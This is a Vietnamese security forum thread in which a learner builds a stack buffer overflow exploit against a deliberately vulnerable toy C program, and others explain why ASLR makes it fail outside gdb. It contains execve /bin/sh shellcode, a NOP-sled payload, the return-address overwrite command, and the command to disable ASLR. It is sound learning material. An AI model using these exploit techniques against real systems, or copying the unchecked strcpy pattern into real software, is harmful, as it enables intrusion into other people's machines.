banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận bảo mật Hỏi về buffer overflow  XML
  [Question]   Hỏi về buffer overflow 06/12/2013 17:46:47 (+0700) | #1 | 279179
[Avatar]
qwerty13
Member

[Minus]    0    [Plus]
Joined: 30/01/2013 06:37:58
Messages: 52
Offline
[Profile] [PM]
Chào mọi người, em có vài điều muốn hỏi về stack-based buffer overflow:

Em có 1 chương trình như sau:

Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void foo(char *mes)
{
	char buf[20];

	strcpy(buf, mes);
}

int main(int argc, char **argv)
{
	if (argc != 2) {
		printf("Usage: %s <string>\n", argv[0]);
		exit(1);
	}

	foo(argv[1]);

	return 0;
}


Compile:
Code:
gcc -z execstack -fno-stack-protector -Wall -g overflow.c -o overflow


strcpy ở chương trình trên sẽ gây ra buffer overflow. Em thử khai thác:

Code:
(gdb) disass main
Dump of assembler code for function main:
   0x08048496 <+0>:	push   ebp
   0x08048497 <+1>:	mov    ebp,esp
   0x08048499 <+3>:	and    esp,0xfffffff0
   0x0804849c <+6>:	sub    esp,0x10
   0x0804849f <+9>:	cmp    DWORD PTR [ebp+0x8],0x2
   0x080484a3 <+13>:	je     0x80484c6 <main+48>
   0x080484a5 <+15>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484a8 <+18>:	mov    eax,DWORD PTR [eax]
   0x080484aa <+20>:	mov    DWORD PTR [esp+0x4],eax
   0x080484ae <+24>:	mov    DWORD PTR [esp],0x8048570
   0x080484b5 <+31>:	call   0x8048330 <printf@plt>
   0x080484ba <+36>:	mov    DWORD PTR [esp],0x1
   0x080484c1 <+43>:	call   0x8048360 <exit@plt>
   0x080484c6 <+48>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484c9 <+51>:	add    eax,0x4
   0x080484cc <+54>:	mov    eax,DWORD PTR [eax]
   0x080484ce <+56>:	mov    DWORD PTR [esp],eax
   0x080484d1 <+59>:	call   0x804847c <foo>
   0x080484d6 <+64>:	mov    eax,0x0
   0x080484db <+69>:	leave  
   0x080484dc <+70>:	ret    
End of assembler dump.


Code:
(gdb) break 10
Breakpoint 1 at 0x8048494: file overflow.c, line 10.
(gdb) run AAAA
Starting program: /home/quan/bt/btc/shellcode/overflow AAAA

Breakpoint 1, foo (mes=0xbffff427 "AAAA") at overflow.c:10
10	}
(gdb) i r esp ebp
esp            0xbffff160	0xbffff160
ebp            0xbffff198	0xbffff198
(gdb) x/20xw $esp
0xbffff160:	0xbffff17c	0xbffff427	0xbffff402	0xb7fc0000
0xbffff170:	0x080484e0	0x08048380	0x00000000	0x41414141
0xbffff180:	0xb7fc0300	0x00000002	0x0804a000	0x08048532
0xbffff190:	0x00000002	0xbffff254	0xbffff1b8	0x080484d6
0xbffff1a0:	0xbffff427	0x00000000	0x080484eb	0xb7fc0000
(gdb) cont
Continuing.
[Inferior 1 (process 3161) exited normally]


Như vậy có thể thấy vị trí của return address là 0xbffff19c, vị trí của buf là 0xbffff17c. Ta sẽ cần 36 bytes để overwrite return address. Em dự định sẽ đặt shellcode vào 1 biến env là EGG cùng với 200 bytes NOP sled.


Đây là đoạn mã assembly em dùng làm shellcode:
Code:
BITS 32

; execve(const char *filename, char *const argv[], char *const envp[])
xor eax, eax
push eax
push 0x68732f2f		; Push "//sh" to the stack. 
push 0x6e69622f		; Push "/bin" to the stack.
mov ebx, esp
push eax
mov ecx, esp
push eax
mov edx, esp
mov al, 11
int 0x80


Bây giờ em tìm địa chỉ của biến EGG:

Code:
quan@quantran:~/bt/btc/shellcode$ nasm shell.s
quan@quantran:~/bt/btc/shellcode$ export EGG=$(perl -e 'print "\x90"x200')$(cat shell)
quan@quantran:~/bt/btc/shellcode$ gdb -q ./overflow
Reading symbols from /home/quan/bt/btc/shellcode/overflow...done.
(gdb) break main
Breakpoint 1 at 0x804849f: file overflow.c, line 14.
(gdb) run
Starting program: /home/quan/bt/btc/shellcode/overflow 

Breakpoint 1, main (argc=1, argv=0xbffff174) at overflow.c:14
14		if (argc != 2) {
(gdb) x/30s $esp + 0x260
...
0xbffff4f1:	"EGG=", '\220' <repeats 196 times>...
0xbffff5b9:	"\220\220\220\220\061\300Ph//shh/bin\211\343P\211\341P\211\342\260\v̀"
...
(gdb) cont
Continuing.
Usage: /home/quan/bt/btc/shellcode/overflow <string>
[Inferior 1 (process 3729) exited with code 01]
(gdb) quit
quan@quantran:~/bt/btc/shellcode$


Ta có thể thấy biến EGG nằm ở 0xbffff4f1. Khi chạy chương trình có thể địa chỉ sẽ khác đi 1 chút, tuy nhiên em nghĩ với 200 bytes NOP sled thì sẽ không vấn đề gì. Như vậy em sẽ dùng địa chỉ 0xbffff550 để overwrite return address.

Code:
quan@quantran:~/bt/btc/shellcode$ ./overflow $(perl -e 'print "\x90"x32 . "\x50\xf5\xff\xbf"')
Segmentation fault (core dumped)
quan@quantran:~/bt/btc/shellcode$ gdb -q ./overflow
Reading symbols from /home/quan/bt/btc/shellcode/overflow...done.
(gdb) run $(perl -e 'print "\x90"x32 . "\x50\xf5\xff\xbf"')
Starting program: /home/quan/bt/btc/shellcode/overflow $(perl -e 'print "\x90"x32 . "\x50\xf5\xff\xbf"')
process 3810 is executing new program: /bin/dash
$ ls
Makefile  aa.c	helloworld  helloworld.s  overflow  overflow.c	shell  shell.s	test  test.c
$ 
[Inferior 1 (process 3810) exited normally]
(gdb) quit
quan@quantran:~/bt/btc/shellcode$ ./overflow $(perl -e 'print "\x90"x32 . "\x50\xf5\xff\xbf"')
Segmentation fault (core dumped)


Khi chạy ở ngoài thì bị segfault, tuy nhiên khi chạy ở gdb thì lại được??? Tại sao lại thế ạ? Liệu các biến môi trường có bị disable theo 1 cách nào đó không khi chương trình chạy ở ngoài? Sự khác biệt giữa chạy trong gdb với chạy ở ngoài là gì ạ?

Em cảm ơn trước ạ smilie

P/s: Em vừa ngồi thử lại xong và bây giờ thì cả trong gdb cũng bị segfault. Pro Police đã bị disable, stack thì executable, shellcode đúng, vậy thì tại sao lại bị segfault ạ?
Once Amser, forever Amser smilie
[Up] [Print Copy]
  [Question]   Hỏi về buffer overflow 07/12/2013 07:20:53 (+0700) | #2 | 279182
StarGhost
Elite Member

[Minus]    0    [Plus]
Joined: 29/03/2005 20:34:22
Messages: 662
Location: The Queen
Offline
[Profile] [PM]
gdb hình như không bật ASLR thì phải...
Mind your thought.
[Up] [Print Copy]
  [Question]   Hỏi về buffer overflow 07/12/2013 16:58:09 (+0700) | #3 | 279186
[Avatar]
qwerty13
Member

[Minus]    0    [Plus]
Joined: 30/01/2013 06:37:58
Messages: 52
Offline
[Profile] [PM]
@StarGhost: Lần đầu tiên em nghe đến ASLR trong gdb smilie sau khi bật lên thì đúng là địa chỉ của biến EGG có khác đi, tuy nhiên mỗi lần 1 khác. Em cũng có 1 chương trình để tìm địa chỉ biến môi trường theo tên biến và tên chương trình:

Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) 
{
        char *ptr;

        if(argc < 3) {
                printf("Usage: %s <environment var> <target program name>\n", argv[0]);
                exit(0);
        }

        ptr = getenv(argv[1]);                           /* Get env var location. */
        ptr += (strlen(argv[0]) - strlen(argv[2]))*2;    /* Adjust for program name. */

        printf("%s will be at %p\n", argv[1], ptr);

        return 0;
}


Tuy nhiên mỗi lần chạy thì kết quả lại khác nhau. Có phải đây là do ASLR của linux không ạ?
Once Amser, forever Amser smilie
[Up] [Print Copy]
  [Question]   Hỏi về buffer overflow 09/12/2013 10:50:50 (+0700) | #4 | 279196
[Avatar]
Ky0
Moderator

Joined: 16/08/2009 23:09:08
Messages: 532
Offline
[Profile] [PM]
Mình không rõ thực sự bạn muốn hỏi điều gì nữa smilie

Lỗi trên bạn không khai thác được ở "bên ngoài" là do hệ điều hành của bạn đang bật chế độ bảo vệ ASLR (cái này bạn có thể xem tại http://en.wikipedia.org/wiki/Address_space_layout_randomization).

Nếu để phục vụ nhu cầu học tập tìm hiểu về các lỗi thì bạn cần Disable ASLR bằng cách dùng lệnh
Code:
# echo 0 > /proc/sys/kernel/randomize_va_space

Còn trong thực tế tế để khai thác lỗi này thì bạn phải bypass được các cơ chế bảo vệ của HĐH (ASLR, DEP ...)
Một vài ví dụ bypass:
- http://www.vnsecurity.net/2013/05/secuinside-ctf-2013-pwnme-writeup
- Sơ lược về ROP để bypass DEP/ASLR http://libamboo.so/forum/topic/26/

- Ky0 -
UITNetwork.com
Let's Connect
[Up] [Print Copy]
  [Question]   Hỏi về buffer overflow 09/12/2013 14:29:54 (+0700) | #5 | 279197
[Avatar]
qwerty13
Member

[Minus]    0    [Plus]
Joined: 30/01/2013 06:37:58
Messages: 52
Offline
[Profile] [PM]
@KyO: À em hỏi có phải địa chỉ của biến env mỗi lần 1 khác là do ALSR của linux không thì đúng là thế ạ. Em đã cho stack executable, disable Pro Police mà quên mất ALSR. Cảm ơn anh ạ.

À quên cho em hỏi, giá trị default của /proc/sys/kernel/randomize_va_space là 2 đúng k ạ? Em chỉnh về 0, bây giờ cho về 2 mà khi thử tìm địa chỉ biến môi trường thì có vẻ hơi lạ: 0xbfbb65e4, 0xbfeb25e4, 0xbf8fd5e4,... tức là 3 số cuối giống nhau ấy ạ, mà lúc trước thì không như thế. Em nghĩ là do base của stack dịch chuyển nhưng 3 số cuối vẫn giống nhau?

P/s: Em thử brute force đúng 1 địa chỉ 1000 lần, đến lần thứ 600 thì được với NOP sled 20000 bytes.
Once Amser, forever Amser smilie
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|